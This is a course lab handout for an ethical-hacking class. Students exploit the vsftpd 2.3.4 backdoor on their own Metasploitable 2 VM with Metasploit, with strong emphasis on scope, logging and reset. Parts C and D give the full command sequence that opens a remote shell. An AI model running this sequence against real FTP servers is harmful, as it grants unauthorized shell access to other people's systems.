

Lab 3: Gaining Access — Exploiting the vsftpd Backdoor with Metasploit

Session 3 — Exploitation

Course: Hands-On Ethical Hacking and Network Defense, 4e — Module 1 companion lab **Estimated time:** 75–90 minutes **Prerequisite:** Labs 1 and 2 completed — your host-only lab is running, and you’ve confirmed Metasploitable 2 is listening on vsftpd 2.3.4. **Based on:** Module 1’s “Gaining Access, Step by Step” walkthrough and the Five Phases of a Penetration Test.

1. Learning Objectives

By the end of this session you will be able to:

- Move from a scan finding to a working exploit using Metasploit
- Use `search` and `check` before `exploit`, in that order, as a professional habit rather than a Metasploit feature
- Confirm and record the access level a successful exploit actually grants
- Explain why this exercise stops at Phase 3 of the five-phase methodology and does not touch Phase 4

2. ⚠ Scope Reminder — Where This Lab Stops

This lab performs **Phase 3 (Gaining Access) only**. It does **not** cover Phase 4 (Maintaining Access) — you will not install a backdoor, add a user, or leave anything running after the session ends. On a real engagement, persistence is very often explicitly excluded from scope, and leaving one behind after the engagement ends is how a legal test becomes an unauthorized-access incident. Everything below targets your own Metasploitable 2 VM on the host-only network from Lab 1 — nothing here is authorized against any system outside it.

Before you run anything, say the **Four Gates** out loud: *written permission, in-scope host, permitted technique, inside the window*. For this lab, your instructor’s assignment is that permission; your host-only network is the scope; exploitation is the assigned technique; class time is your window.

3. What You’ll Need

- Kali and Metasploitable 2 running and mutually reachable (Labs 1–2)
- Metasploitable’s IP address (e.g., `192.168.56.102`) and the finding from Lab 2: `vsftpd 2.3.4`
- A restored `baseline-pre-attack` snapshot of Metasploitable, so you’re starting clean

4. Procedure

Part A — Start Logging Before You Start Attacking

Professional habit, not classroom bureaucracy: your log is what proves you stayed inside the agreement.

1. On Kali, open a terminal and launch the framework:

```
msfconsole
```

2. Immediately start a session log:

```
spool /home/kali/lab3-msf-log.txt
```

Everything printed to the console from here on is also written to that file.

Part B — Let Reconnaissance Point at the Exploit

1. Search for modules matching the service version from Lab 2:

```
search vsftpd
```

2. Read the module list. Note the module name, its disclosure date, and its rank.
3. Select it:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

4. View its options:

```
show options
```

Part C — Configure and Verify Before Firing

1. Point the module at your target:

```
set RHOSTS 192.168.56.102
```

2. If the module supports it, verify without exploiting:

```
check
```

Not every module implements `check` — this one may simply report that checking isn't supported. If so, note that in your log; you're proceeding anyway only because this is your own authorized host, not because the check passed.

Part D — Exploit

1. Run it:

```
exploit
```

2. At the resulting prompt, confirm what you're holding:

```
id
whoami
hostname
```

3. Record the exact output of `id`. Compare it with what the module's walkthrough predicts.

Part E — Hold the Line at Phase 3

1. Do **not** create a user, edit a system file, download anything to Kali, or set up any persistence mechanism.
2. Type `background` to leave the session open without closing it, or `exit` to close it entirely.
3. In `msfconsole`, stop the log:

```
spool off
```

Part F — Reset the Target

1. Shut down Metasploitable.
2. Restore its `baseline-pre-attack` snapshot from Lab 1, so the next lab (and the next student, if the VM is shared) starts from a known-clean state.

5. What to Submit

1. Your `lab3-msf-log.txt` spool file, showing the `search`, `use`, `set`, `check` (or its absence), and `exploit` commands and their output
2. The exact output of `id` from the resulting shell
3. One sentence confirming you did not perform any Phase 4 action
4. Answers to both reflection questions below

Reflection 1 (2-3 sentences): The module's own material calls this exploit's execution "no skill at all." If that's true, where does the actual professional skill in this engagement live?

Reflection 2 (1-2 sentences): Which phase of the five-phase methodology have you just completed, and which phase comes next?

6. Troubleshooting

Symptom	Likely cause / fix
<code>search vsftpd</code> returns nothing	Update the module cache (<code>msfupdate</code>), or confirm Kali's Metasploit install is current)
<code>exploit</code> hangs or times out	Confirm <code>RHOSTS</code> matches Metasploitable's current address (<code>ifconfig</code> on the target) and that the VM is fully booted
Session opens but <code>id</code> returns an error	Some versions drop you into a raw shell with no prompt at all — type the command anyway and press Enter

Next session: Lab 4 — Would the Passwords Survive? (Password Auditing with John the Ripper). Bring your restored snapshot and this session's log.